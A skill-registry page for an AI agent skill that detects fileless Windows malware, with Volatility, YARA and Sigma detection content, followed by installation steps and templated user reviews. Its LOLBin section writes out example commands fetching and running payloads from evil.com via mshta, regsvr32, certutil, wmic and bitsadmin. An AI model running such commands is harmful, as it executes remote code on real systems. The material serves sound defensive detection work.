detecting-fileless-malware-techniques

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

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$npx skills install mukul975/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques
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summary

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.

skill.md
name
detecting-fileless-malware-techniques
description
'Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Activates for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination. '
domain
cybersecurity
subdomain
malware-analysis
tags
- malware - fileless - LOLBins - memory-analysis - detection
version
1.0.0
author
mahipal
license
Apache-2.0
d3fend_techniques
- Executable Denylisting - Execution Isolation - File Metadata Consistency Validation - Content Format Conversion - File Content Analysis
nist_csf
- DE.AE-02 - RS.AN-03 - ID.RA-01 - DE.CM-01

Detecting Fileless Malware Techniques

When to Use

  • EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
  • Investigating attacks that leave no traditional malware files on disk
  • Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
  • Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
  • Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Prerequisites

  • Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
  • PowerShell Script Block Logging and Module Logging enabled
  • Volatility 3 for memory forensics of fileless malware artifacts
  • Process Monitor (ProcMon) for real-time system activity monitoring
  • Windows Event Log access with adequate retention policies
  • Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Step 2: Detect WMI-Based Persistence

Analyze WMI event subscriptions used for fileless persistence:

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET

# WMI Event Filter creation (EID 19)
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI Filter Created: {data.get('Name')}")
            print(f"    Query: {data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI Consumer Created: {data.get('Name')}")
            print(f"    Type: {data.get('Type')}")
            print(f"    Destination: {data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI Binding Created")
            print(f"    Consumer: {data.get('Consumer')}")
            print(f"    Filter: {data.get('Filter')}")
    except:
        pass

Step 3: Detect Registry-Resident Payloads

Find malicious code stored in the Windows Registry:

# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # Check for Base64-encoded content
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
                    except:
                        pass
                    # Check for PowerShell keywords
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] PowerShell in registry: {path}\\{name}")
                i += 1
            except WindowsError:
                break
        # Recurse into subkeys
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF

Step 4: Analyze Memory for Fileless Artifacts

Use memory forensics to find in-memory-only malware:

# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind

# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# Scan for known fileless frameworks
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "
rule Fileless_PowerShell {
    strings:
        \$s1 = \"System.Reflection.Assembly\" ascii wide
        \$s2 = \"[System.Convert]::FromBase64String\" ascii wide
        \$s3 = \"Invoke-Expression\" ascii wide
        \$s4 = \"DownloadString\" ascii wide
    condition:
        2 of them
}
"

# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
strings memory.dmp | grep -i "invoke-\|iex \|downloadstring\|-encodedcommand"

Step 5: Build Comprehensive Detection Rules

Create detection content for fileless techniques:

# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium

Step 6: Document Fileless Attack Chain

Map the complete fileless attack lifecycle:

Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
  Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
  OR Web exploit -> regsvr32/certutil (scriptlet download)

Phase 2 - Execution:
  PowerShell downloads and executes script in memory
  .NET Assembly.Load() for reflective loading
  WMI process creation for lateral movement

Phase 3 - Persistence:
  WMI event subscription (survives reboots)
  Registry-stored encoded payload (loaded by Run key)
  Scheduled task executing inline PowerShell

Phase 4 - Privilege Escalation:
  PowerShell with Invoke-Mimikatz (in-memory credential theft)
  Named pipe impersonation via WMI

Phase 5 - Lateral Movement:
  WMI remote process creation (no file transfer needed)
  PowerShell remoting (WinRM)
  PsExec via WMI

Phase 6 - Exfiltration:
  PowerShell HTTP POST to C2
  DNS tunneling via Invoke-DNSExfiltration
  Cloud storage API (OneDrive, Google Drive)

Key Concepts

TermDefinition
Fileless MalwareMalware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk
LOLBins (Living Off the Land Binaries)Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting
WMI Event SubscriptionWindows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events
Registry-Resident PayloadMalicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key
Reflective LoadingLoading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk
In-Memory ExecutionRunning code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters
Script Block LoggingWindows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility

Tools & Systems

  • Sysmon: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections
  • Autoruns: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries
  • Volatility: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts
  • Process Monitor: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior
  • LOLBAS Project: Community-documented catalog of LOLBin abuse techniques at https://lolbas-project.github.io/

Common Scenarios

Scenario: Investigating a Fileless Attack Using WMI Persistence

Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.

Approach:

  1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
  2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
  3. Decode the PowerShell command (typically Base64-encoded with -enc flag)
  4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
  5. Analyze memory dump for reflectively loaded assemblies and injected code
  6. Check registry for additional stored payloads referenced by the PowerShell script
  7. Map the complete attack chain from initial access through persistence and lateral movement

Pitfalls:

  • Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
  • Rebooting the system before capturing a memory dump (destroys in-memory evidence)
  • Focusing only on file-based IOCs when the attack is entirely fileless
  • Missing the initial access vector because the LOLBin execution left minimal traces

Output Format

FILELESS MALWARE ANALYSIS REPORT
===================================
Incident:         INC-2025-2847
Attack Type:      Fileless (no malware files on disk)

INITIAL ACCESS
Vector:           Phishing email with macro-enabled document
LOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe

PERSISTENCE MECHANISM
Type:             WMI Event Subscription
Filter Name:      WindowsUpdateCheck
Filter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300
                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer:         CommandLineEventConsumer
Command:          powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...

DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42

REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script

MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
  - CobaltStrike beacon detected via YARA
  - C2: hxxps://185.220.101[.]42/updates

EXTRACTED IOCs
C2 IP:            185.220.101[.]42
WMI Filter:       WindowsUpdateCheck
Registry Path:    HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI Event Subscription
T1218.005  Mshta
T1112      Modify Registry
T1055.012  Process Hollowing
how to use detecting-fileless-malware-techniques

How to use detecting-fileless-malware-techniques on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add detecting-fileless-malware-techniques
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/detecting-fileless-malware-techniques

The skills CLI fetches detecting-fileless-malware-techniques from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/detecting-fileless-malware-techniques

Reload or restart Cursor to activate detecting-fileless-malware-techniques. Access the skill through slash commands (e.g., /detecting-fileless-malware-techniques) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

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Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
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general reviews

Ratings

4.726 reviews
  • Zara Singh· Dec 24, 2024

    detecting-fileless-malware-techniques fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Chinedu Rahman· Dec 20, 2024

    Useful defaults in detecting-fileless-malware-techniques — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Shikha Mishra· Dec 8, 2024

    I recommend detecting-fileless-malware-techniques for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Diego Gonzalez· Dec 8, 2024

    detecting-fileless-malware-techniques has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Yash Thakker· Nov 27, 2024

    detecting-fileless-malware-techniques fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Sakshi Patil· Nov 19, 2024

    Useful defaults in detecting-fileless-malware-techniques — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Chinedu Khan· Nov 11, 2024

    I recommend detecting-fileless-malware-techniques for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Dhruvi Jain· Oct 18, 2024

    detecting-fileless-malware-techniques has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Chaitanya Patil· Oct 10, 2024

    Registry listing for detecting-fileless-malware-techniques matched our evaluation — installs cleanly and behaves as described in the markdown.

  • Tariq Mehta· Oct 2, 2024

    Solid pick for teams standardizing on skills: detecting-fileless-malware-techniques is focused, and the summary matches what you get after install.

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